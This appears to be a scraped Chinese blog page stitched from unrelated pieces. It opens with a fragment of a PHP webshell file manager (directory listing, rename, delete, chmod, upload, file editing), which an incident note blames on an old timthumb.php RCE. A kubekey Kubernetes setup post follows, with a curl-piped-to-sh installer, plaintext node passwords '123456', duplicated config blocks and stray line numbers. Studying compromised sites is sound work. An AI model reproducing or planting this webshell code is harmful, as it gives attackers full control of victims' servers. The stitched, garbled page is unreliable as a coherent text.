html_n('<td align="center" width="10%"><b>�޸�ʱ��</b></td><td align="center" width="10%"><b>�ļ��С</b></td></tr>');

while($dirs = @$dir->read()){

if($dirs == '.' or $dirs == '..') continue;

$dirpath = str_path("$path/$dirs");

if(is_dir($dirpath)){

$perm = substr(base_convert(fileperms($dirpath),10,8),-4);

$filetime = @date('Y-m-d H:i:s',@filemtime($dirpath));

$dirpath = urlencode($dirpath);

html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="'.$dirs.'">');

html_img("dir");

html_a('?eanver=main&path='.$dirpath,$dirs);

html_n('</td><td align="center">');

html_n("<a href=\"#\" onClick=\"rusurechk('$dirs','?eanver=rename&p=$dirpath&newname=');return false;\">��</a>");

html_n("<a href=\"#\" onClick=\"rusuredel('$dirs','?eanver=deltree&p=$dirpath');return false;\">ɾ��</a> ");

html_a('?pack='.$dirpath,'��');

html_n('</td><td align="center">');

html_a('?eanver=perm&p='.$dirpath.'&chmod='.$perm,$perm);

html_n('</td><td align="center">'.GetFileOwner("$path/$dirs").':'.GetFileGroup("$path/$dirs"));

html_n('</td><td align="center">'.$filetime.'</td><td align="right">');

html_n('</td></tr>');

$NUM_D++;

}

@$dir->rewind();

while($files = @$dir->read()){

if($files == '.' or $files == '..') continue;

$filepath = str_path("$path/$files");

if(!is_dir($filepath)){

$fsize = @filesize($filepath);

$fsize = File_Size($fsize);

$perm = substr(base_convert(fileperms($filepath),10,8),-4);

$filetime = @date('Y-m-d H:i:s',@filemtime($filepath));

$Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$filepath);

$todir=$ROOT_DIR.'/zipfile';

$filepath = urlencode($filepath);

$it=substr($filepath,-3);

html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="'.$files.'">');

html_img(css_showimg($files));

html_a($Fileurls,$files,'target="_blank"');

html_n('</td><td align="center">');

if(($it=='.gz') or ($it=='zip') or ($it=='tar') or ($it=='.7z'))

html_a('?unzip='.$filepath,'��ѹ','title="��ѹ'.$files.'" onClick="rusurechk(\''.$todir.'\',\'?unzip='.$filepath.'&todir=\');return false;"');

else

html_a('?eanver=editr&p='.$filepath,'�༭','title="�༭'.$files.'"');

html_n("<a href=\"#\" onClick=\"rusurechk('$files','?eanver=rename&p=$filepath&newname=');return false;\">��</a>");

html_n("<a href=\"#\" onClick=\"rusuredel('$files','?eanver=del&p=$filepath');return false;\">ɾ��</a> ");

html_n("<a href=\"#\" onClick=\"rusurechk('".urldecode($filepath)."','?eanver=copy&p=$filepath&newcopy=');return false;\">��</a>");

html_n('</td><td align="center">');

html_a('?eanver=perm&p='.$filepath.'&chmod='.$perm,$perm);

html_n('</td><td align="center">'.GetFileOwner("$path/$files").':'.GetFileGroup("$path/$files"));

html_n('</td><td align="center">'.$filetime.'</td><td align="right">');

html_a('?down='.$filepath,$fsize,'title="��'.$files.'"');

html_n('</td></tr>');

$NUM_F++;

}

@$dir->close();

if(!$Filetime) $Filetime = gmdate('Y-m-d H:i:s',time() + 3600 * 8);

print<<<END

</table>

Ŀ¼({$NUM_D}) / �ļ�({$NUM_F})</div>

</form>

END;

break;

case "editr":

print<<<END

END;

html_base();

print<<<END

</script>

END;

css_js("2");

if(!empty($_POST['uploadt'])){

echo @copy($_FILES['upfilet']['tmp_name'],str_path($p.'/'.$_FILES['upfilet']['name'])) ? html_a("?eanver=main",$_FILES['upfilet']['name'].' '.$msg[2]) : msg($msg[3]);

die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.urlencode($p).'">');

}

if(!empty($_GET['redir'])){

$name=$_GET['name'];

$newdir = str_path($p.'/'.$name);

@mkdir($newdir,0777) ? html_a("?eanver=main",$name.' '.$msg[0]) : msg($msg[1]);

die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.urlencode($p).'">');

}

if(!empty($_GET['refile'])){

$name=$_GET['name'];

$jspath=urlencode($p.'/'.$name);

$pp = urlencode($p);

$p = str_path($p.'/'.$name);

$FILE_CODE = "";

$charset= 'GB2312';

$FILE_TIME =date('Y-m-d H:i:s',time()+3600*8);

if(@file_exists($p)) echo '��Ŀ¼��"ͬ��"�ļ�<br>';

}else{

$jspath=urlencode($p);

$FILE_TIME = date('Y-m-d H:i:s',filemtime($p));

$FILE_CODE=@file_get_contents($p);

if (substr(PHP_VERSION,0,1)>=5){

if(empty($_GET['charset'])){

if(TestUtf8($FILE_CODE)>1){$charset= 'UTF-8';$FILE_CODE = iconv("UTF-8","gb2312//IGNORE",$FILE_CODE);}else{$charset= 'GB2312';}

}else{

if($_GET['charset']=='GB2312'){$charset= 'GB2312';}else{$charset= $_GET['charset'];$FILE_CODE = iconv($_GET['charset'],"gb2312//IGNORE",$FILE_CODE);}

}

$FILE_CODE = htmlspecialchars($FILE_CODE);

}

print<<<END

END;

html_select(array("GB2312" => "GB2312","UTF-8" => "UTF-8","BIG5" => "BIG5","EUC-KR" => "EUC-KR","EUC-JP" => "EUC-JP","SHIFT-JIS" => "SHIFT-JIS","WINDOWS-874" => "WINDOWS-874","ISO-8859-1" => "ISO-8859-1"),$charset,"onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\"");

print<<<END

</div>

</form>

END;

ob_end_flush();

再看最开始cache下的文件怎么来的呢？首先怀疑的就是timthumb.php，阅读代码逻辑可发现cache文件夹就是它放缓存文件的地方。

参考https://seclists.org/fulldisclosure/2014/Jun/117可以知道这是个很多年前的rce了

修复方式见https://github.com/GabrielGil/TimThumb/commit/564c00058271147af32da8ac665c00f6a1c4ac29#diff-48eb07ba42e9c840631245fee640f99a5beae7b9e238fe802016332fe21f8593L962

倒霉的是不知道为什么快10年了都没被扫到，最近才被人利用

二进制分析不是我的强项，有没有懂二进制安全的大佬分析下这个文件行为是啥，用在线攻击也扫不出问题

https://s.threatbook.com/report/file/4b51ac4a24dbc5cd015cb3a1055fffb4b45d18935ed8015a0682a4321c8147b8

可私聊我获取原始文件

20230407kubekey搭建k8s

视频版

https://www.bilibili.com/video/BV1gL411Y75L

背景

20230204尝试搭建k8s青春版

上次尝试了k3s，本来计划是尝试原版k8s，但看了下文档感觉略麻烦，我决定放弃。。。。

按上次eric的建议这次尝试玩下kubekey

安装准备

环境要求

Ubuntu 16.04，18.04，20.04CPU：2 核，内存：4 G，硬盘：40 G

机器节点2c4g * 3

所有节点必须都能通过 SSH 访问。
所有节点时间同步。
所有节点都应使用 sudo/curl/openssl/tar

域名分配

k8s1.k8s.local

k8s2.k8s.local

k8s3.k8s.local

kubesphere.k8s.local

生成config


k8s1@k8s1:~$ export KKZONE=cn
k8s1@k8s1:~$ curl -sfL https://get-kk.kubesphere.io | VERSION=v3.0.7 sh -
Downloading kubekey v3.0.7 from https://kubernetes.pek3b.qingstor.com/kubekey/releases/download/v3.0.7/kubekey-v3.0.7-linux-amd64.tar.gz ...
Kubekey v3.0.7 Download Complete!

k8s1@k8s1:~$ chmod +x kk
k8s1@k8s1:~$ ./kk create config --with-kubesphere --with-kubesphere
Generate KubeKey config file successfully
k8s1@k8s1:~$ ls
config-sample.yaml  kk  kubekey-v3.0.7-linux-amd64.tar.gz
k8s1@k8s1:~$

k8s1@k8s1:~$ export KKZONE=cn

k8s1@k8s1:~$ curl -sfL https://get-kk.kubesphere.io | VERSION=v3.0.7 sh -

Downloading kubekey v3.0.7 from https://kubernetes.pek3b.qingstor.com/kubekey/releases/download/v3.0.7/kubekey-v3.0.7-linux-amd64.tar.gz ...

Kubekey v3.0.7 Download Complete!

k8s1@k8s1:~$ chmod +x kk

k8s1@k8s1:~$ ./kk create config --with-kubesphere --with-kubesphere

Generate KubeKey config file successfully

k8s1@k8s1:~$ ls

config-sample.yaml kk kubekey-v3.0.7-linux-amd64.tar.gz

k8s1@k8s1:~$

修改config


k8s1@k8s1:~$ vim config-sample.yaml
k8s1@k8s1:~$ cat config-sample.yaml

apiVersion: kubekey.kubesphere.io/v1alpha2
kind: Cluster
metadata:
  name: sample
spec:
  hosts:
  - {name: master, address: 192.168.2.206, internalAddress: 192.168.2.206, user: k8s1, password: 123456}
  - {name: node1, address: 192.168.2.177, internalAddress: 192.168.2.177, user: k8s2, password: 123456}
  - {name: node2, address: 192.168.2.203, internalAddress: 192.168.2.203, user: k8s3, password: 123456}
  roleGroups:
    etcd:
    - master
    control-plane:
    - master
    worker:
    - node1
    - node2
  controlPlaneEndpoint:
    ## Internal loadbalancer for apiservers
    # internalLoadbalancer: haproxy

    domain: kubesphere.k8s.local
    address: ""
    port: 6443
  kubernetes:
    version: v1.23.10
    clusterName: cluster.local
    autoRenewCerts: true
    containerManager: docker
  etcd:
    type: kubekey
  network:
    plugin: calico
    kubePodsCIDR: 10.233.64.0/18
    kubeServiceCIDR: 10.233.0.0/18
    ## multus support. https://github.com/k8snetworkplumbingwg/multus-cni
    multusCNI:
      enabled: false
  registry:
    privateRegistry: ""
    namespaceOverride: ""
    registryMirrors: []
    insecureRegistries: []
  addons: []



---
apiVersion: installer.kubesphere.io/v1alpha1
kind: ClusterConfiguration
metadata:
  name: ks-installer
  namespace: kubesphere-system
  labels:
    version: v3.3.2
spec:
  persistence:
    storageClass: ""
  authentication:
    jwtSecret: ""
  zone: ""
  local_registry: ""
  namespace_override: ""
  # dev_tag: ""
  etcd:
    monitoring: false
    endpointIps: localhost
    port: 2379
    tlsEnable: true
  common:
    core:
      console:
        enableMultiLogin: true
        port: 30880
        type: NodePort
    # apiserver:
    #  resources: {}
    # controllerManager:
    #  resources: {}
    redis:
      enabled: false
      volumeSize: 2Gi
    openldap:
      enabled: false
      volumeSize: 2Gi
    minio:
      volumeSize: 20Gi
    monitoring:
      # type: external
      endpoint: http://prometheus-operated.kubesphere-monitoring-system.svc:9090
      GPUMonitoring:
        enabled: false
    gpu:
      kinds:
      - resourceName: "nvidia.com/gpu"
        resourceType: "GPU"
        default: true
    es:
      # master:
      #   volumeSize: 4Gi
      #   replicas: 1
      #   resources: {}
      # data:
      #   volumeSize: 20Gi
      #   replicas: 1
      #   resources: {}
      logMaxAge: 7
      elkPrefix: logstash
      basicAuth:
        enabled: false
        username: ""
        password: ""
      externalElasticsearchHost: ""
      externalElasticsearchPort: ""
  alerting:
    enabled: false
    # thanosruler:
    #   replicas: 1
    #   resources: {}
  auditing:
    enabled: false
    # operator:
    #   resources: {}
    # webhook:
    #   resources: {}
  devops:
    enabled: false
    # resources: {}
    jenkinsMemoryLim: 8Gi
    jenkinsMemoryReq: 4Gi
    jenkinsVolumeSize: 8Gi
  events:
    enabled: false
    # operator:
    #   resources: {}
    # exporter:
    #   resources: {}
    # ruler:
    #   enabled: true
    #   replicas: 2
    #   resources: {}
  logging:
    enabled: false
    logsidecar:
      enabled: true
      replicas: 2
      # resources: {}
  metrics_server:
    enabled: false
  monitoring:
    storageClass: ""
    node_exporter:
      port: 9100
      # resources: {}
    # kube_rbac_proxy:
    #   resources: {}
    # kube_state_metrics:
    #   resources: {}
    # prometheus:
    #   replicas: 1
    #   volumeSize: 20Gi
    #   resources: {}
    #   operator:
    #     resources: {}
    # alertmanager:
    #   replicas: 1
    #   resources: {}
    # notification_manager:
    #   resources: {}
    #   operator:
    #     resources: {}
    #   proxy:
    #     resources: {}
    gpu:
      nvidia_dcgm_exporter:
        enabled: false
        # resources: {}
  multicluster:
    clusterRole: none
  network:
    networkpolicy:
      enabled: false
    ippool:
      type: none
    topology:
      type: none
  openpitrix:
    store:
      enabled: false
  servicemesh:
    enabled: false
    istio:
      components:
        ingressGateways:
        - name: istio-ingressgateway
          enabled: false
        cni:
          enabled: false
  edgeruntime:
    enabled: false
    kubeedge:
      enabled: false
      cloudCore:
        cloudHub:
          advertiseAddress:
            - ""
        service:
          cloudhubNodePort: "30000"
          cloudhubQuicNodePort: "30001"
          cloudhubHttpsNodePort: "30002"
          cloudstreamNodePort: "30003"
          tunnelNodePort: "30004"
        # resources: {}
        # hostNetWork: false
      iptables-manager:
        enabled: true
        mode: "external"
        # resources: {}
      # edgeService:
      #   resources: {}
  terminal:
    timeout: 600

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

k8s1@k8s1:~$ vim config-sample.yaml

k8s1@k8s1:~$ cat config-sample.yaml

apiVersion: kubekey.kubesphere.io/v1alpha2

kind: Cluster

metadata:

spec:

hosts:

- {name: master, address: 192.168.2.206, internalAddress: 192.168.2.206, user: k8s1, password: 123456}

- {name: node1, address: 192.168.2.177, internalAddress: 192.168.2.177, user: k8s2, password: 123456}

- {name: node2, address: 192.168.2.203, internalAddress: 192.168.2.203, user: k8s3, password: 123456}

roleGroups:

etcd:

- master

control-plane:

- master

worker:

- node1

- node2

controlPlaneEndpoint:

## Internal loadbalancer for apiservers

# internalLoadbalancer: haproxy

domain: kubesphere.k8s.local

address: ""

port: 6443

kubernetes:

version: v1.23.10

clusterName: cluster.local

autoRenewCerts: true

containerManager: docker

etcd:

type: kubekey

network:

plugin: calico

kubePodsCIDR: 10.233.64.0/18

kubeServiceCIDR: 10.233.0.0/18

## multus support. https://github.com/k8snetworkplumbingwg/multus-cni

multusCNI:

enabled: false

registry:

privateRegistry: ""

namespaceOverride: ""

registryMirrors: []

insecureRegistries: []

addons: []

---

apiVersion: installer.kubesphere.io/v1alpha1

kind: ClusterConfiguration

metadata:

namespace: kubesphere-system

labels:

version: v3.3.2

spec:

persistence:

storageClass: ""

authentication:

jwtSecret: ""

zone: ""

local_registry: ""

namespace_override: ""

# dev_tag: ""

etcd:

monitoring: false

endpointIps: localhost

port: 2379

tlsEnable: true

common:

core:

console:

enableMultiLogin: true

port: 30880

type: NodePort

# apiserver:

# resources: {}

# controllerManager:

# resources: {}

redis:

enabled: false

volumeSize: 2Gi

openldap:

enabled: false

volumeSize: 2Gi

minio:

volumeSize: 20Gi

monitoring:

# type: external

endpoint: http://prometheus-operated.kubesphere-monitoring-system.svc:9090

GPUMonitoring:

enabled: false

gpu:

kinds:

- resourceName: "nvidia.com/gpu"

resourceType: "GPU"

default: true

es:

# master:

# volumeSize: 4Gi

# replicas: 1

# resources: {}

# data:

# volumeSize: 20Gi

# replicas: 1

# resources: {}

logMaxAge: 7

elkPrefix: logstash

basicAuth:

enabled: false

username: ""

password: ""

externalElasticsearchHost: ""

externalElasticsearchPort: ""

alerting:

enabled: false

# thanosruler:

# replicas: 1

# resources: {}

auditing:

enabled: false

# operator:

# resources: {}

# webhook:

# resources: {}

devops:

enabled: false

# resources: {}

jenkinsMemoryLim: 8Gi

jenkinsMemoryReq: 4Gi

jenkinsVolumeSize: 8Gi

events:

enabled: false

# operator:

# resources: {}

# exporter:

# resources: {}

# ruler:

# enabled: true

# replicas: 2

# resources: {}

logging:

enabled: false

logsidecar:

enabled: true

replicas: 2

# resources: {}

metrics_server:

enabled: false

monitoring:

storageClass: ""

node_exporter:

port: 9100

# resources: {}

# kube_rbac_proxy:

# resources: {}

# kube_state_metrics:

# resources: {}

# prometheus:

# replicas: 1

# volumeSize: 20Gi

# resources: {}

# operator:

# resources: {}

# alertmanager:

# replicas: 1

# resources: {}

# notification_manager:

# resources: {}

# operator:

# resources: {}

# proxy:

# resources: {}

gpu:

nvidia_dcgm_exporter:

enabled: false

# resources: {}

multicluster:

clusterRole: none

network:

networkpolicy:

enabled: false

ippool:

type: none

topology:

type: none

openpitrix:

store:

enabled: false

servicemesh:

enabled: false

istio:

components:

ingressGateways:

- name: istio-ingressgateway

enabled: false

cni:

enabled: false

edgeruntime:

enabled: false

kubeedge:

enabled: false

cloudCore:

cloudHub:

advertiseAddress:

- ""

service:

cloudhubNodePort: "30000"

cloudhubQuicNodePort: "30001"

cloudhubHttpsNodePort: "30002"

cloudstreamNodePort: "30003"

tunnelNodePort: "30004"

# resources: {}

# hostNetWork: false

iptables-manager:

enabled: true

mode: "external"

# resources: {}

# edgeService:

# resources: {}

terminal:

timeout: 600

每个节点上安装依赖项


sudo apt install -y socat conntrack ebtables ipset

0 1	sudo apt install -y socat conntrack ebtables ipset

任务机上执行这个安装集群


./kk create cluster -f config-sample.yaml

0 1	./kk create cluster -f config-sample.yaml

安装过程


k8s1@k8s1:~$ ./kk create cluster -f config-sample.yaml


 _   __      _          _   __
| | / /     | |        | | / /
| |/ / _   _| |__   ___| |/ /  ___ _   _
|    \| | | | '_ \ / _ \    \ / _ \ | | |
| |\  \ |_| | |_) |  __/ |\  \  __/ |_| |
\_| \_/\__,_|_.__/ \___\_| \_/\___|\__, |
                                    __/ |
                                   |___/

13:11:55 UTC [GreetingsModule] Greetings
13:11:57 UTC message: [master]
Greetings, KubeKey!
13:11:58 UTC message: [node2]
Greetings, KubeKey!
13:11:59 UTC message: [node1]
Greetings, KubeKey!
13:11:59 UTC success: [master]
13:11:59 UTC success: [node2]
13:11:59 UTC success: [node1]
13:11:59 UTC [NodePreCheckModule] A pre-check on nodes
13:12:00 UTC success: [node2]
13:12:00 UTC success: [node1]
13:12:00 UTC success: [master]
13:12:00 UTC [ConfirmModule] Display confirmation form
+--------+------+------+---------+----------+-------+-------+---------+-----------+--------+--------+------------+------------+-------------+------------------+--------------+
| name   | sudo | curl | openssl | ebtables | socat | ipset | ipvsadm | conntrack | chrony | docker | containerd | nfs client | ceph client | glusterfs client | time         |
+--------+------+------+---------+----------+-------+-------+---------+-----------+--------+--------+------------+------------+-------------+------------------+--------------+
| master | y    | y    | y       | y        | y     | y     |         | y         |        |        |            |            |             |                  | UTC 13:12:00 |
| node1  | y    | y    | y       | y        | y     | y     |         | y         |        |        |            |            |             |                  | UTC 13:12:00 |
| node2  | y    | y    | y       | y        | y     | y     |         | y         |        |        |            |            |             |                  | UTC 13:12:00 |
+--------+------+------+---------+----------+-------+-------+---------+-----------+--------+--------+------------+------------+-------------+------------------+--------------+

This is a simple check of your environment.
Before installation, ensure that your machines meet all requirements specified at
https://github.com/kubesphere/kubekey#requirements-and-recommendations

Continue this installation? [yes/no]: yes

13:12:35 UTC success: [LocalHost]
13:12:35 UTC [NodeBinariesModule] Download installation binaries
13:12:35 UTC message: [localhost]
downloading amd64 kubeadm v1.23.10 ...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 43.1M  100 43.1M    0     0  1012k      0  0:00:43  0:00:43 --:--:--  983k
13:13:20 UTC message: [localhost]
downloading amd64 kubelet v1.23.10 ...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  118M  100  118M    0     0  1022k      0  0:01:58  0:01:58 --:--:-- 1072k
13:15:21 UTC message: [localhost]
downloading amd64 kubectl v1.23.10 ...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 44.4M  100 44.4M    0     0  1031k      0  0:00:44  0:00:44 --:--:-- 1185k
13:16:07 UTC message: [localhost]
downloading amd64 helm v3.9.0 ...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 44.0M  100 44.0M    0     0  1021k      0  0:00:44  0:00:44 --:--:-- 1028k
13:16:52 UTC message: [localhost]
downloading amd64 kubecni v0.9.1 ...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 37.9M  100 37.9M    0     0  1041k      0  0:00:37  0:00:37 --:--:-- 1194k
13:17:30 UTC message: [localhost]
downloading amd64 crictl v1.24.0 ...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 13.8M  100 13.8M    0     0  1080k      0  0:00:13  0:00:13 --:--:-- 1218k
13:17:43 UTC message: [localhost]
downloading amd64 etcd v3.4.13 ...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16.5M  100 16.5M    0     0  1034k      0  0:00:16  0:00:16 --:--:-- 1085k
13:18:00 UTC message: [localhost]
downloading amd64 docker 20.10.8 ...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 58.1M  100 58.1M    0     0  6954k      0  0:00:08  0:00:08 --:--:-- 7063k
13:18:10 UTC success: [LocalHost]
13:18:10 UTC [ConfigureOSModule] Get OS release
13:18:10 UTC success: [node1]
13:18:10 UTC success: [master]
13:18:10 UTC success: [node2]
13:18:10 UTC [ConfigureOSModule] Prepare to init OS
13:18:11 UTC success: [node1]
13:18:11 UTC success: [node2]
13:18:11 UTC success: [master]
13:18:11 UTC [ConfigureOSModule] Generate init os script
13:18:12 UTC success: [node1]
13:18:12 UTC success: [node2]
13:18:12 UTC success: [master]
13:18:12 UTC [ConfigureOSModule] Exec init os script
13:18:15 UTC stdout: [node1]
net.ipv4.ip_forward = 1
net.bridge.bridge-nf-call-arptables = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_local_reserved_ports = 30000-32767
vm.max_map_count = 262144
vm.swappiness = 1
fs.inotify.max_user_instances = 524288
kernel.pid_max = 65535
13:18:15 UTC stdout: [node2]
net.ipv4.ip_forward = 1
net.bridge.bridge-nf-call-arptables = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_local_reserved_ports = 30000-32767
vm.max_map_count = 262144
vm.swappiness = 1
fs.inotify.max_user_instances = 524288
kernel.pid_max = 65535
13:18:16 UTC stdout: [master]
net.ipv4.ip_forward = 1
net.bridge.bridge-nf-call-arptables = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_local_reserved_ports = 30000-32767
vm.max_map_count = 262144
vm.swappiness = 1
fs.inotify.max_user_instances = 524288
kernel.pid_max = 65535
13:18:16 UTC success: [node1]
13:18:16 UTC success: [node2]
13:18:16 UTC success: [master]
13:18:16 UTC [ConfigureOSModule] configure the ntp server for each node
13:18:16 UTC skipped: [node2]
13:18:16 UTC skipped: [master]
13:18:16 UTC skipped: [node1]
13:18:16 UTC [KubernetesStatusModule] Get kubernetes cluster status
13:18:17 UTC success: [master]
13:18:17 UTC [InstallContainerModule] Sync docker binaries
13:18:30 UTC success: [node1]
13:18:30 UTC success: [node2]
13:18:30 UTC success: [master]
13:18:30 UTC [InstallContainerModule] Generate docker service
13:18:30 UTC success: [node1]
13:18:30 UTC success: [master]
13:18:30 UTC success: [node2]
13:18:30 UTC [InstallContainerModule] Generate docker config
13:18:30 UTC success: [node1]
13:18:30 UTC success: [node2]
13:18:30 UTC success: [master]
13:18:30 UTC [InstallContainerModule] Enable docker
13:18:49 UTC success: [node1]
13:18:49 UTC success: [node2]
13:18:49 UTC success: [master]
13:18:49 UTC [InstallContainerModule] Add auths to container runtime
13:18:49 UTC skipped: [node1]
13:18:49 UTC skipped: [master]
13:18:49 UTC skipped: [node2]
13:18:49 UTC [PullModule] Start to pull images on all nodes
13:18:49 UTC message: [node2]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/pause:3.6
13:18:49 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/pause:3.6
13:18:49 UTC message: [node1]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/pause:3.6
13:18:50 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-apiserver:v1.23.10
13:18:50 UTC message: [node1]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-proxy:v1.23.10
13:18:50 UTC message: [node2]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-proxy:v1.23.10
13:19:00 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-controller-manager:v1.23.10
13:19:00 UTC message: [node1]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/coredns:1.8.6
13:19:01 UTC message: [node2]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/coredns:1.8.6
13:19:05 UTC message: [node1]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/k8s-dns-node-cache:1.15.12
13:19:05 UTC message: [node2]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/k8s-dns-node-cache:1.15.12
13:19:09 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-scheduler:v1.23.10
13:19:14 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-proxy:v1.23.10
13:19:15 UTC message: [node1]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-controllers:v3.23.2
13:19:16 UTC message: [node2]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-controllers:v3.23.2
13:19:34 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/coredns:1.8.6
13:19:37 UTC message: [node1]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/cni:v3.23.2
13:19:37 UTC message: [node2]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/cni:v3.23.2
13:19:40 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/k8s-dns-node-cache:1.15.12
13:19:50 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/kube-controllers:v3.23.2
13:20:07 UTC message: [node2]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/node:v3.23.2
13:20:07 UTC message: [node1]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/node:v3.23.2
13:20:11 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/cni:v3.23.2
13:20:29 UTC message: [node1]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/pod2daemon-flexvol:v3.23.2
13:20:29 UTC message: [node2]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/pod2daemon-flexvol:v3.23.2
13:20:35 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/node:v3.23.2
13:20:55 UTC message: [master]
downloading image: registry.cn-beijing.aliyuncs.com/kubesphereio/pod2daemon-flexvol:v3.23.2
13:20:58 UTC success: [node1]
13:20:58 UTC success: [node2]
13:20:58 UTC success: [master]
13:20:58 UTC [ETCDPreCheckModule] Get etcd status
13:20:58 UTC success: [master]
13:20:58 UTC [CertsModule] Fetch etcd certs
13:20:58 UTC success: [master]
13:20:58 UTC [CertsModule] Generate etcd Certs
[certs] Generating "ca" certificate and key
[certs] admin-master serving cert is signed for DNS names [etcd etcd.kube-system etcd.kube-system.svc etcd.kube-system.svc.cluster.local kubesphere.k8s.local localhost master node1 node2] and IPs [127.0.0.1 ::1 192.168.2.206 192.168.2.177 192.168.2.203]
[certs] member-master serving cert is signed for DNS names [etcd etcd.kube-system etcd.kube-system.svc etcd.kube-system.svc.cluster.local kubesphere.k8s.local localhost master node1 node2] and IPs [127.0.0.1 ::1 192.168.2.206 192.168.2.177 192.168.2.203]
[certs] node-master serving cert is signed for DNS names [etcd etcd.kube-system etcd.kube-system.svc etcd.kube-system.svc.cluster.local kubesphere.k8s.local localhost master node1 node2] and IPs [127.0.0.1 ::1 192.168.2.206 192.168.2.177 192.168.2.203]
13:21:01 UTC success: [LocalHost]
13:21:01 UTC [CertsModule] Synchronize certs file
13:21:02 UTC success: [master]
13:21:02 UTC [CertsModule] Synchronize certs file to master
13:21:02 UTC skipped: [master]
13:21:02 UTC [InstallETCDBinaryModule] Install etcd using binary
13:21:04 UTC success: [master]
13:21:04 UTC [InstallETCDBinaryModule] Generate etcd service
13:21:04 UTC success: [master]
13:21:04 UTC [InstallETCDBinaryModule] Generate access address
13:21:04 UTC success: [master]
13:21:04 UTC [ETCDConfigureModule] Health check on exist etcd
13:21:04 UTC skipped: [master]
13:21:04 UTC [ETCDConfigureModule] Generate etcd.env config on new etcd
13:21:04 UTC success: [master]
13:21:04 UTC [ETCDConfigureModule] Refresh etcd.env config on all etcd
13:21:05 UTC success: [master]
13:21:05 UTC [ETCDConfigureModule] Restart etcd
13:21:09 UTC stdout: [master]
Created symlink /etc/systemd/system/multi-user.target.wants/etcd.service → /etc/systemd/system/etcd.service.
13:21:09 UTC success: [master]
13:21:09 UTC [ETCDConfigureModule] Health check on all etcd
13:21:09 UTC success: [master]
13:21:09 UTC [ETCDConfigureModule] Refresh etcd.env config to exist mode on all etcd
13:21:10 UTC success: [master]
13:21:10 UTC [ETCDConfigureModule] Health check on all etcd
13:21:10 UTC success: [master]
13:21:10 UTC [ETCDBackupModule] Backup etcd data regularly
13:21:10 UTC success: [master]
13:21:10 UTC [ETCDBackupModule] Generate backup ETCD service
13:21:10 UTC success: [master]
13:21:10 UTC [ETCDBackupModule] Generate backup ETCD timer
13:21:10 UTC success: [master]
13:21:10 UTC [ETCDBackupModule] Enable backup etcd service
13:21:11 UTC success: [master]
13:21:11 UTC [InstallKubeBinariesModule] Synchronize kubernetes binaries
13:21:48 UTC success: [node1]
13:21:48 UTC success: [master]
13:21:48 UTC success: [node2]
13:21:48 UTC [InstallKubeBinariesModule] Synchronize kubelet
13:21:48 UTC success: [node1]
13:21:48 UTC success: [node2]
13:21:48 UTC success: [master]
13:21:48 UTC [InstallKubeBinariesModule] Generate kubelet service
13:21:49 UTC success: [node1]
13:21:49 UTC success: [node2]
